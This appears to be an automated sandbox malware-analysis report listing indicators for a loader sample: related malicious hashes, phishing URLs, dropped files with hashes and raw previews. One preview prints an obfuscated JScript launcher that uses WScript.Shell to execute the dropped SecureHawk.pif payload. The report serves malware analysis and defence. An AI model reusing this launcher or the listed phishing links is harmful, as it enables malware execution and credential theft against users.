3.36.173.8	External24.exe	Get hash	malicious	RisePro Stealer	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZONEXPANSIONGB	CITA#U00c7#U00c3O.exe	Get hash	malicious	FormBook	Browse	3.33.130.190
	https://mail-105280.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	52.223.40.198
	https://telstra-104088.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	52.223.40.198
	https://telstra-102246.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	3.33.220.150
	https://mitammakslogona.gitbook.io/	Get hash	malicious	Unknown	Browse	3.33.220.150
	https://telstra-104752.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	52.223.40.198
	https://telstra-100710.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	3.33.220.150
	https://netzero-webmail-106103.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	52.223.40.198
	https://sky-108991.weeblysite.com/	Get hash	malicious	Unknown	Browse	3.33.220.150
	https://sky-102775.weeblysite.com/	Get hash	malicious	Unknown	Browse	3.33.220.150

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	be5bb7f05c4f8de4d393134b63af2e6bf8a05e3ad3fb3.exe	Get hash	malicious	RedLine	Browse
	be5bb7f05c4f8de4d393134b63af2e6bf8a05e3ad3fb3.exe	Get hash	malicious	RedLine	Browse
	7632e569071acc40bce87af592e4cc2476d9c088906a1.exe	Get hash	malicious	RedLine	Browse
	setup.exe	Get hash	malicious	Unknown	Browse
	setup.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.Siggen29.2381.17841.24795.exe	Get hash	malicious	RedLine	Browse
	Autodesk AutoCAD 2023.exe	Get hash	malicious	Vidar	Browse
	oRALyHjeXB.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse
	oRALyHjeXB.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse
	file.exe	Get hash	malicious	SmokeLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\369580\Origin.pif
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	182
Entropy (8bit):	4.837689770780988
Encrypted:	false
SSDEEP:	3:RiMIpGXJO9obdPHo55wWAX+TSyCVVh4EkD5pM6iQEdcQ47c6Hc5uWAX+TSyCVVh8:RiJuOybJHonwWDmLJkD3Vi7L4A6HcwWH
MD5:	46BBF4A98EFED6F73ED445DCB9FA7BA5
SHA1:	3BA1B56F7F746D633B1B65E82D67331FFF50277A
SHA-256:	D54B5A05CC374A09565DEC9949DE743EF7927263ED280DF852F53023F715CE95
SHA-512:	4BA6E0D2EE4FA53BEE8F39A845A6D4D8E18219CDE82B8911D44AB2EE1B63A36E97A058273C49D3652A87B4DD5989DF75798C6CE3F3E72688CEE52A9D90FE6064
Malicious:	true
Preview:	new ActiveXObject("Wscript.Sh" + "ell").Exec("\"C:\\Users\\user\\AppData\\Local\\LinkGuard Dynamics\\SecureHawk.pif\" \"C:\\Users\\user\\AppData\\Local\\LinkGuard Dynamics\\r\"")

C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Download File

Process:	C:\Users\user\AppData\Local\Temp\369580\Origin.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	937776
Entropy (8bit):	6.777413141364669
Encrypted:	false
SSDEEP:	12288:FJV3REMvnCG22lhtjVoAYxQl+u13a/sVyaVeK56ORMkkOlPlNKlga4Umff2lRO:F3hEW3hlVodGl+gUKrMkzXa4P6RO
MD5:	B06E67F9767E5023892D9698703AD098
SHA1:	ACC07666F4C1D4461D3E1C263CF6A194A8DD1544
SHA-256:	8498900E57A490404E7EC4D8159BEE29AED5852AE88BD484141780EAADB727BB
SHA-512:	7972C78ACEBDD86C57D879C12CB407120155A24A52FDA23DDB7D9E181DD59DAC1EB74F327817ADBC364D37C8DC704F8236F3539B4D3EE5A022814924A1616943
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: be5bb7f05c4f8de4d393134b63af2e6bf8a05e3ad3fb3.exe, Detection: malicious, Browse Filename: be5bb7f05c4f8de4d393134b63af2e6bf8a05e3ad3fb3.exe, Detection: malicious, Browse Filename: 7632e569071acc40bce87af592e4cc2476d9c088906a1.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen29.2381.17841.24795.exe, Detection: malicious, Browse Filename: Autodesk AutoCAD 2023.exe, Detection: malicious, Browse Filename: oRALyHjeXB.exe, Detection: malicious, Browse Filename: oRALyHjeXB.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR..........................PE..L...y..U.........."..............................@.................................w.....@...@.......@.....................L...\|....................8..0....0...q...;..............................@X..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...............................@..@.reloc...q...0...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\LinkGuard Dynamics\r

Download File

Process:	C:\Users\user\AppData\Local\Temp\369580\Origin.pif
File Type:	data
Category:	dropped
Size (bytes):	1887862
Entropy (8bit):	7.999916955507098
Encrypted:	true
SSDEEP:	49152:eh1tn99JwLCa3od7rs8p0b4UC0OmHmEp7w21fKR3vBWu5Vo:Ktn9fA3od0+Dx0Z3j1yR75Vo
MD5:	CE540AF01EBE7AB061B8E799882D8031
SHA1:	67A6C762AA5E1CB1C3623561D2A3D6AD98F150AF
SHA-256:	15657816E7B9C8F5F8E3A73E2266186DDE03AFD3E680E20D6E14747446973684
SHA-512:	06F83915FEA36F523E99A56D5C71404AC4E4062AE690404A89262BE2D26968BDDC5A42AE091CDEC4CE568541B877E59DF71F92369566B228C3EDFE510A6BBC9F
Malicious:	true
Preview:	.p......C7...._9....8..5M...h..T..F..(..cd.:.#K85)]$."...r....4.j...<9...~..)qi.>...e..............O...D.H..?.....DS.&..l.H.....J.N.."...&l&.H.X.D.\....NJ...LS..^.M.1...%".~.\|.Z.)T.t~...C.t.....H.....P...Rt..%.#..h....`B...................s..z.+...'...D.....m.............[..::...._....&..t....6..HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....C.<.'.F...h.............T......{T......{kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..}.!..,P..Myn.2..t.W.....L..f.P...T......{T......{m.....:c..8.5...x..2).U.j....2>.$#.~....E.....$h...}......H..l.{F...3G......`w.r.3.mq...K.R.......m%_^W...H.... .(.....6.F.\|m#n...N:Ta.....<..)....... .^e.z...X b.^.....3g..+...4A...?.O.Q

C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	937776
Entropy (8bit):	6.777413141364669
Encrypted:	false
SSDEEP:	12288:FJV3REMvnCG22lhtjVoAYxQl+u13a/sVyaVeK56ORMkkOlPlNKlga4Umff2lRO:F3hEW3hlVodGl+gUKrMkzXa4P6RO
MD5:	B06E67F9767E5023892D9698703AD098
SHA1:	ACC07666F4C1D4461D3E1C263CF6A194A8DD1544
SHA-256:	8498900E57A490404E7EC4D8159BEE29AED5852AE88BD484141780EAADB727BB
SHA-512:	7972C78ACEBDD86C57D879C12CB407120155A24A52FDA23DDB7D9E181DD59DAC1EB74F327817ADBC364D37C8DC704F8236F3539B4D3EE5A022814924A1616943
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR..........................PE..L...y..U.........."..............................@.................................w.....@...@.......@.....................L...\|....................8..0....0...q...;..............................@X..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...............................@..@.reloc...q...0...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\369580\Z

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	1887862
Entropy (8bit):	7.999916955507098
Encrypted:	true
SSDEEP:	49152:eh1tn99JwLCa3od7rs8p0b4UC0OmHmEp7w21fKR3vBWu5Vo:Ktn9fA3od0+Dx0Z3j1yR75Vo
MD5:	CE540AF01EBE7AB061B8E799882D8031
SHA1:	67A6C762AA5E1CB1C3623561D2A3D6AD98F150AF
SHA-256:	15657816E7B9C8F5F8E3A73E2266186DDE03AFD3E680E20D6E14747446973684
SHA-512:	06F83915FEA36F523E99A56D5C71404AC4E4062AE690404A89262BE2D26968BDDC5A42AE091CDEC4CE568541B877E59DF71F92369566B228C3EDFE510A6BBC9F
Malicious:	true
Preview:	.p......C7...._9....8..5M...h..T..F..(..cd.:.#K85)]$."...r....4.j...<9...~..)qi.>...e..............O...D.H..?.....DS.&..l.H.....J.N.."...&l&.H.X.D.\....NJ...LS..^.M.1...%".~.\|.Z.)T.t~...C.t.....H.....P...Rt..%.#..h....`B...................s..z.+...'...D.....m.............[..::...._....&..t....6..HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....C.<.'.F...h.............T......{T......{kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..}.!..,P..Myn.2..t.W.....L..f.P...T......{T......{m.....:c..8.5...x..2).U.j....2>.$#.~....E.....$h...}......H..l.{F...3G......`w.r.3.mq...K.R.......m%_^W...H.... .(.....6.F.\|m#n...N:Ta.....<..)....... .^e.z...X b.^.....3g..+...4A...?.O.Q

C:\Users\user\AppData\Local\Temp\Alot

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	6.347014053077155
Encrypted:	false
SSDEEP:	192:RULsNQ6UUrUM6M1spD4QoHfqwipOcS0BiPyI+mHV8Fmepp2JaDwb7H:RUIi6J89nOrHV8Eepte7H
MD5:	E7AB122EBABDAE8843EEDA7A57C7F29A
SHA1:	0083D949CE43F5B549F06395BA4658461CF2A345
SHA-256:	EE31F3476D9C7A824EF34A4E639E02F793436E5608483F43D5FBDD3FBCB22C04
SHA-512:	614EE05987918709B61718D25305970A5FFBED46B1C88802EF9416F98C9469B795D2A917D3873F331A07C9985565119FFAB80821FE4134C03DA197BFDBEE89C8
Malicious:	false
Preview:	.j....Yf9H..K....~......8.u.E...f9P........M.C..D..f9P..U........E........ .................-~..H...}..H...}..H..u}...U.H.E.........}...E..M..E..u.PF..6...E..M..U......A.j.Yf9H...{~...M.IN.}...M........M...6...M.....6...M.....,~..;...$~...E..8...,....E.E..u...\|...PF.5..3........!..I....A.j.Yf9H....~...M....}.....].C.]......}...u.E..u..u..u.P.E.P.E.PV.......&........A.j.Yf9H....}...E.HN..\|.....E.........\|....:5....\|......;5...E..x.;.......Wju.s}...8..."}...8........8....}...8..U...L....8!...\|...8#........\|...u.3..u..u..u.QPRS......x....M...4...M...4...M...4...M...4...M...4....\|.....4...M...4...._^[..].....x\|..H..,\|...M.....E..U.j.[...........A.j.Yf9H....\|...}........Wjt.\|...A.j.Yf9H...k\|...E.M......E..M......U.E..M.j.[....k.......c.......Y.....\|...U.JN.}...U.ts.M...3...M.....3...U..x.;.......Wh......{...A.j.Yf9H....{...E.HN.}...E.t..M..\|3...M....3...E...x.;.......Wjx.{...^..^...^..E....^..........@..GD.^.@.n.@.A.@...@...@...@...@.O.@.p.@.........U.......SVW

C:\Users\user\AppData\Local\Temp\Bdsm

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	134774
Entropy (8bit):	7.998618153684933
Encrypted:	true
SSDEEP:	3072:kQuFArbnYPs0H3CV0ZZd1v8M1P+8rLpNCoqn:kQuFUbnBjVWhvP+8rDin
MD5:	C7E15E6E38E166594B2C9C2A60945065
SHA1:	B0F80F15FE6AE9AEDB5A9BBE0D3C01D8867E2FBC
SHA-256:	6AFE68081A9F723647DAC3276C79B46EA0577D4B3DEE7673438DB1D95989E95B
SHA-512:	917CE2DA529CC9FA1CA9A9C9AB0685016C1EB6BEDC658138DA076A0A4028B7B7BD915169E497F7C01AA2012A4175D2E71FC78A93950B64C57C5CC36F85279475
Malicious:	true
Preview:	-..q..K...^....%[..d..b..c..J.....dy.Kj....m.h..Q.1..5......A.z..^../eR'.ps...f.....D`.h..0.."!{5......>.,..h.9;.SU.F.o.OV...tIa..)eOc..Yw.V....I.....#.6 ...u>..{.Hnqc.w..M`..\|...... .5..`.x4..Nk.......C...mD...^.J/.../p...~......+..O..2."..14....A;...\|.r...<..`z..[..}....Kk!......M...q...9)........0O>x...~.....WfV...`...=...i.2.O......Y.W.w.&.....%.)Ju....(.5...f.k..x...iw......{...d...\..-.m.7....{._..o..............V.gy...S.0...o5y"-..h23:.s...XZs...n\|Z.EV.k..0...m....\z......-.y.L...../.N?..Sq.B../....{..]....A.].V.%...]r... D...J..Q..:....h..=N2=.!.J...-..g.O2..x.F....@h.p.`..c...v.5.^.\|:.3..(.=.e..o...B...u..H\.a.{8F.....0..5..4...#.-\x..Qe..q.L...m.......q...k.......4.r..q.j.....x...U..N.%...W..(.A5OM.t.EfEL.m<$NU."......52.W>H..b....t%2q.Ex.d.........QNe..Z\&..Q...XO..\.`.3E.....L.....*.w..];..L.g..W...B..[....W..X.P8....S.&>/..L..cV.3.M..>.w.W.....\|..D...\....09....?2........^..g..#....NU/N.o..Lf@.3..`.......ah...."..?..:..

C:\Users\user\AppData\Local\Temp\Beginning

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	11884
Entropy (8bit):	7.30812932734099
Encrypted:	false
SSDEEP:	192:D1SXWsR2tlitnzx98QVQ/8tVkUTgBxe1HCjv4pdhhmGj7l0ieJ2Q:DopEitriaIKJ7775i
MD5:	0FBD02AFE1832C658A9087680614B367
SHA1:	C3C30D9184A9AFBA434FE35679AB2D268139CEF3
SHA-256:	D68E51F51EC32BBD131A65995DBC0387216B206DFAC652EC28A30D78D787ADA8
SHA-512:	AB0BD0B5249AB9BCBAA3D914488AE601F93EB10E45407EE2D4A01777884EBC14BF978147134640148A7BB9642965DF1F00A9F794A3CA73214DD4D51548E089C8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	.5.6>6g6.6.6.6.7C7N7t7.7.7.7.8a8q8.8.8.8!9I9q9.9.;.<.<.<"<&<<.<2<6<:<><B<F<J<N<R<x<.<.<.<.<R=.=]>y>.>.>e?......p....1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.2.2"2(2D2.2.2.2.2.2.2.284.5g5.7.7.7.7.7.7.7.7.8.8.8.9W>j>t>.>.?!?V?.?....H....0.0.0.2.2.2.2.2.3.3W4.5c5.5.6.8.:.:.:.:2;.<U=.=.=.=.>/?^?.?.?......X...31.2y2.2L3j3.3.4,4.4'5f5l5.5[6.6'7J7s7.7.8.8.949u9.:z:.;`;.;F<}=.=.=3>X>.>.>c?.?....`...g0.0.0)1v1.1.2.2212[2.2.2.2.2.2.3.3(393J3[3l3.3%4B4.4.4.4.4.5.5.6.6.67.8.8.8.8.9.;.;.>. ..(...h1.1.2.3&5.626A7v7.:X>.>.>.>.?.?.0......g0r0.0.0.0.1#3.3.3.3.3.4#4(4?5E5N5m5.5.5.5.5.6.6.6.6.6.9/:>:S:r:.:.:.:.:.:.;.;P;};.;.;.<@<t<.<.<.<.<.<.=/=f=.=.=.=v>.?...@..p...11.1v2{2.2.2.2.363@3h3.3.3.3.4#4c4.4.4.7+808\8v8.8.8.8'9W9.9.9.9&:Q:X;x;.;.;.=.=.=O>{>.>.>.>.>0?w?.?.?.?.P..L....0S1.1.2.3.3U3)4.4E7U7.7.7.7.7.8^8.8.9.9.:.<9<a<.<.</=m=u=.=.=.=.=4>.`......l0.0.0.1.1.1.1W3.3.5.5.5.556F6.6.6.6.6.6.7'7C7Q7_7u7.7.7.7.7.78D8W8t8.8.9$9f9.9.9.:!:.:.:.:.;B;];.;.;.;.;.<+<.<.<.<t=.=.=.=.>1>:>.>.?B?H?.?.?...p......<0`0z0.0

C:\Users\user\AppData\Local\Temp\Buck

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	56320
Entropy (8bit):	6.785206989556843
Encrypted:	false
SSDEEP:	1536:/27MlRHq6EQU7uLQT6unj5ctpYuYtWGJG2kQi:e7MlRKecTF5c2p02kQi
MD5:	D4F1427F4E333A46E2B9399B3A386ACE
SHA1:	8ABBA4EC1B6DD2BAB5A6702BE3EB0FF3BE18EBFD
SHA-256:	21D0FF8C6969D0D4917B4536726EEF4406A3B41321AF3657A1AA3C31F74C79B4
SHA-512:	D561321878FE7C0440F0C9F54C0BEF073152A167EEDB8B536756A40F2AEA6B988BFACB6AA0E346E2D8C2A7324DDCD16BF70FF4E97FD255C7311527904EAB2D70
Malicious:	false
Preview:	...............t3.p...t,.........t..+................3.......}....5..K.V.O..Y.k.....p..............e..Y.....g..K.....itd..nt%..o..=..............y[.............M..............x.................. t.f................z.....@.....................u........................3........u...guV..........J;.~.........=....~7..]...W.k...............Y..t............................................G.............P...............P............VP.5<.K...8.I............t!.......u.......PV.5H.K...8.I...YY......gu...u.......PV.5D.K...8.I...YY.>-..(.........F....................j.....s......HH...........k...j'.........X..........\|....Q.....0................^......3......... t...@t...G.....G.....@t..G........O.....@t.;...\|.;.s........................u...........y.3.B................;.~......u........u..J..............t=.......RPWQ.....0................9~...............N.............E.+.F............t6..t..>0t-N........0.!..u..5..K.....I.8.t.@..u.+.....................@t5......t......-

C:\Users\user\AppData\Local\Temp\Chad

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	6.565667666829138
Encrypted:	false
SSDEEP:	192:Fsmnze84mcy29iFnyq7S6XgRZi3LdB1gPOf0WcKPVo1FNVvmQ23:FsmC84Ll9iRrNXxdB1gv4PSTNVvmQ8
MD5:	827E7D95831EA2B7AE99AFB191C98832
SHA1:	E0432635061534BC2B5C06A8B7D5D7EDAF983183
SHA-256:	BDD60D53935978F3ADF4DC5AEFAF8156360F0C680E387A91AF7C4E1FC8AFDD25
SHA-512:	23FFC2964E7F14F783BAC607A733D1015C1592A32121CD52CBFDD7A4F839234393B8CDF175EAC0E219F14AF0B1F2F5A1838F2889878BE9B91D3FCF6D4E8F4B96
Malicious:	false
Preview:	u.W....Y.p.S3.PPPPVWPP....I....t$;.}.V..S."...Y3.E.QQSPVWQQ....I..E.[_^..].SW3...PPj.SPh........I.....t-V3.j.Z.........Q....YW..Vj.Sj.h........I...^_[.U..E.Ht.Hu=.u..prL..u..u..$.=.rL..t$.}..t..u...rL..u..u..P.............2.]...U..Q.e...=.rL..t!.E...rL.P.u.........k.....t.......E..prL.P.u..Q..........]...U....S..M.V3.W.s..s..A..u..C...t....A..C..A..C..9.;........3..j Z.........3...........P...Y..t!.8...O.E.x......i..... Oy.E.3.....C.93~H..u..E..s...x....N......G..F..G..F..G.P.....G..M..F... .E.@.M..E.;.\|._^..[..]...V..N........^........U..V..N......~'H.....o...j.X3.F.j.Z.........Q....Y....f.E..F.....f..3..f.H...^]...Vh.^F..q..6j Q.^...V.(...Y..^...U..M...u.3..%.E.V.u..;.}.....t.+........t.+...^]...U....SV..M.W.....u..u.....I....`...3.].9].u.3.G.........W.M.."...f9.t.W.M.G.....j;Yf9.u.....}..v..G.P.M......j;Yf9.t.....3.j Z...........3...........P....Y..t!.....K.E...x......... Ky.E.3...3..M....F..E.P.E..].P.E.].P.E..E.....P.E.P.E.PS._.......uF.E..}.

C:\Users\user\AppData\Local\Temp\Consecutive

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	43008
Entropy (8bit):	5.316829091033339
Encrypted:	false
SSDEEP:	768:DI4kSmEusWjcdeDvFQC7VkrHpluuxdCvEHKKgI0:vusWjcdmQuklluhvEHKT
MD5:	5CBB6AC4AFB2BDF6988C7581A9E19D46
SHA1:	CE87849C6CAD83A7A145283F233BF02D72358BF3
SHA-256:	A3D48BCB65A8B7651FBAB2C36260E25487929495CCA8A9B98EF26AF3DE802517
SHA-512:	0F1435F9961DD7929016598F9B115210F609A263F4CDB6A08AC5BDAF9357DEBC9CD926F711BE03463AB250D6C0FB5BF6784A5017602645560875EDD98B89FF91
Malicious:	false
Preview:	.j.?=...Mpm........?c..+...?................Bp.VV..?........Q9V.%..?........]\|.=3..?......?\|.._P..?.%.....?..Zq\.? ,6....?.5DKB.?.@IK...?.Xf...?v......?..'....?+..3...?2...y..?g.../.p<.......?7C.....?.......................?........E.D;..?..........h7.r.?...=...?.(...r.?..EV.w.?......?.......?0.SM`..?...?3..?./..2.?5.6Y.z.?......?..G.e.?.4.....?.%..KV.........?..r..H.?.................I,+...?..........U&X>.?..........i....?.c4...?.......?.......?..N..T.?..j8.6.?.f"!..?~w."...?nJ.R...?1...7!.?\|.GD.\|.?.......?....a.?.}. ..<.......?.pA..?................ZM..$^.@........].>.=..@........Z..7.@.abK...?..Z...@...t...?..,....@.T..4s.?.a.g...@Xp.M...@.D.$_..@.n}in..@..).M..@......@P(..C.?. ...mz........@.E3.&..................fY.eY.!@..........,..d&@........#7.B.,@.......@=..U.&2@UUUUUU.@9.E4..7@.......@.}..=m=@.......@. 8..B@.[..[..@.u+E6.G@.......@.......?...............@.........................HO..3.........oX... ?..........%......#.Z..."S-...>Q..!.r.?.M%....;..

C:\Users\user\AppData\Local\Temp\Convenience

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	37888
Entropy (8bit):	7.9957365930290685
Encrypted:	true
SSDEEP:	768:qWPn6K+BXIxpEno35N+hHrpQcJ+nPnZVJSRMueLPwYtebtefV:oxBKEo35MHrJ2HJEeL4YteboV
MD5:	B0F0B5535514047C83C7B2FA25324DCC
SHA1:	A010BF77C2684BF4D567243A8A1DCBD0AC07A734
SHA-256:	5754A22B9CCA09B0E018139D55BC32FC3206E399D416DB20F7207AA9F5A38425
SHA-512:	14EEA51CDC1E07399A9A2D599CF6057362852EDA34D5D2DA82C84E66B37D324E6875A1A43C3B0F93077B9A76A6BAE05C77679CE2495EABCB50341ECDD3D0CB8A
Malicious:	true
Preview:	...l..W.7MaZ&.Wf%.].......I.F.....m.....j...>....6..x....~.dV......,`...hWGA..r..T.5.9.3.m.^Q..:.o.H..r.1...^..V.og.u9.{w.PL4;.Y........... H.+EM\|.].H.o.Fv.V~8.PG.n"..Ng..d...!..Dc.C,%d.-....1.....'.i..?8..w..C:..G.X.I.....( .$...d.0...M..w2-+...`...U.x.)..-)..x...p...Z.....[.L.fU)..Tp./..7I.A.-./AH.r.+...J....M...."?D..6...l.M(.O......J...#\|'ZN.>..&._1..?...J.......?..3..ss3.}...h.!...j..-~i.L.Q+l..};.K6.}G+...Q..of\.)......V...."...>^....t.JB..5v.J..,=..+......F.8%.b...s..X)W......1.O..X._ez.{../%a..\...u..RI@[ .....&......c...K.......f._(K..pA..p.l!..~.#,d..a&EP;....B......F.7F.M....ix........)NL....8./Z......K&.......9.#(Yc.HG..u...$I.w.B.N.H.!U.....eo..9.9.#8...t.t_.{.&v...8..L.......E../.....O......%t..Y'..4[.....D.......D.......#Q.`K~...&..[.3...UU9X.;6k........0.Z.EK.E.R-....$/..y.....k.5.\@..&.......p..g5).+.V.jy}z...+..O.D.H.d#...sQ....q.^...[w^.p.W.+...hX...c...j.}..2......z...s..4..y=G.r.......sG*0.R.Q........<....+.c.Q.

C:\Users\user\AppData\Local\Temp\Creator

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	44032
Entropy (8bit):	7.9428180907324295
Encrypted:	false
SSDEEP:	768:qNcNngX+F+2tzjOrnhILBWdinOEgg+ys6kQ3+laXM77HLqno09q6R6gx+gXr:qNcpzjIqIinTglynkQ3+EX0eomqewg
MD5:	24DD5D66C756FA9137D34729169A7940
SHA1:	1E3446FEBCB5280185648C3B763B709A10D0A3CF
SHA-256:	564193BF3415F803065F54113098012C86B9904A7D09DAD7C004658858248C48
SHA-512:	12D6721155D381BEA89B03CC3446357195BF3863AEBD07A3C2C5863160449A7C0E8EB0588071064E3D80A665E9E3460266FC45EC0BF09136B51440CE524DD2C0
Malicious:	false
Preview:	.H$......K..bb.`&.!<t....\|..6l.T.:.?.Z.......,p,...i.K......Zk..%...kx....78..wcvv.V.N.o..._.(B.#..{.........^.$u6..Y..o......F<...C. ......"f.h{.\.3)....c.FZ..x< ..k.m/M.:.)...Q..."(m4@e....r..F..lv..-..../..(.l5.....>.H......[.r%..Fl..4.O`I.K..l..L..F..r..q..b).3E.&..X$2I.&C........n......b.Y....i\..c.......">....#...../}.K.....j.D..2+...7-.v..Nv.X..M..""4.M.9r.[.n...p..?.coM.......A....\4.....hS. .~....]k...Y.m....Q.J..b../~.X5.b..n..g...k..%~.H..B..c..q,.....".C......_`X..9..@..I.f..A....3.].m.a..>?......:.........P...PG..]..e....&.i.\|.n..ah..7..4;..L./.....G..."...-.....<..2..v(&W..d....#Ph........BG)..a..:J!.....R..stH..B....T.........O=.....Q..l4......v0D...Mt~.{.H....\|..:..;w...>.G..E..bj.(~...j.d.Y...FFFL......Ix..~.....ih..P...Zi..(.....P..).xw6...;m.K%d.Y.v.8..s.f..X........Cj...pp.C.:x..]Q.Z.(.p....._..7&..A.#<..0.0..:C...@..d...x.bkzI.,...@.......x..l.^.c\|\|..v{.....j..'&&x.I.X.5).z....J...7U..........f$0J......L..xq..#.}..E3.

C:\Users\user\AppData\Local\Temp\Cruises

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	29696
Entropy (8bit):	6.542041223780247
Encrypted:	false
SSDEEP:	768:sgckS9cAXKOd+3Avgmy/bJCVKSb279sAOOWNu:s/tcATs3AS/4KS+9sAOa
MD5:	E599A7F1BA05A669849EE5C4D2657057
SHA1:	84176DEDF0F3886EB8AB41846A4FF5334CFF844D
SHA-256:	5224518DDE347FD8DB57CAA13D4B502859BCF911D40D90291A67B4E9942D59FD
SHA-512:	C25657D8F4389D76CE3974D869A26EB221F24A2E9C1AFAA1E44546C7053757D7D3B03976CBA9B2714E2D292BDCEBAFC5690E0662C0A1F4B018EDD49EC36C739F
Malicious:	false
Preview:	.......M......6...].j......E..F.j..E.....j..E.[S........E.SPW......j........Y.....y.........F....._^..[..].y..u....@..3..U..y..u....E......J..H..J..H..J..H......M.h..I.....E.]...U..VW...6...j..G......~.....Y..t....a.....3..E..7_.F.^]...U...8SVW.}...]...... ..u.2../.....@..t..G..8......}..t.......3...P................E...~..w....6........v.Ou.}.j..3......3YYj.XP..E........H..p..M...O...%....=......9...=......"...=..........=......,............E.PW..@.I.f.M.3....C......wS...,.F..$...F..E.PW..(.I..........M.V.u.V.....P........W..$.I.........]....E............@.........E......E.PW..(.I..........e...........}.j.....Y..t.. ..`...X...3..M.U.....@..f.M......t.W.u..E.f.M.P.&..........f..f.E.E..E.M.E.P.E.........E..}.@.E.;.\|..J....E.PW..(.I.3.C....>....e......+....e...}.j..3...Y..t.. ..`...X...3..U.....@..f.E.E..E.E.E...P.p....E..G;.\|.......E.PW..(.I.3.C.........e...........}.j.....Y..t.. ..`...X...3..M.j....Xf.E.E.....E.E...P.....G;.\|..m.]...&....4....E.PW..(.I.3.

C:\Users\user\AppData\Local\Temp\Dental

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	203776
Entropy (8bit):	7.999016074472303
Encrypted:	true
SSDEEP:	6144:H6QNJ4nbgSiR+ZjmxwRd+gV3dBwc8f8Hno/MG:vJ4HiR+usdBwth/MG
MD5:	82A2EEC72B87B87BA9DD721BE71A6731
SHA1:	A36C87743A61C1496EE55AF68D0845961DBA1BE2
SHA-256:	5E9D5F9719BA700F9331886B257E5CE074DDF8B07BFD097183D990833AFB208D
SHA-512:	0F5E57AC362340EAFA7BB2A1A52C89537A2225A6902B0020ED96A4782B17EB82552AA8D636C973B0C53171DBB4C28AE5B743C03DC25C57B5EFD4A83BC80F1CF0
Malicious:	true
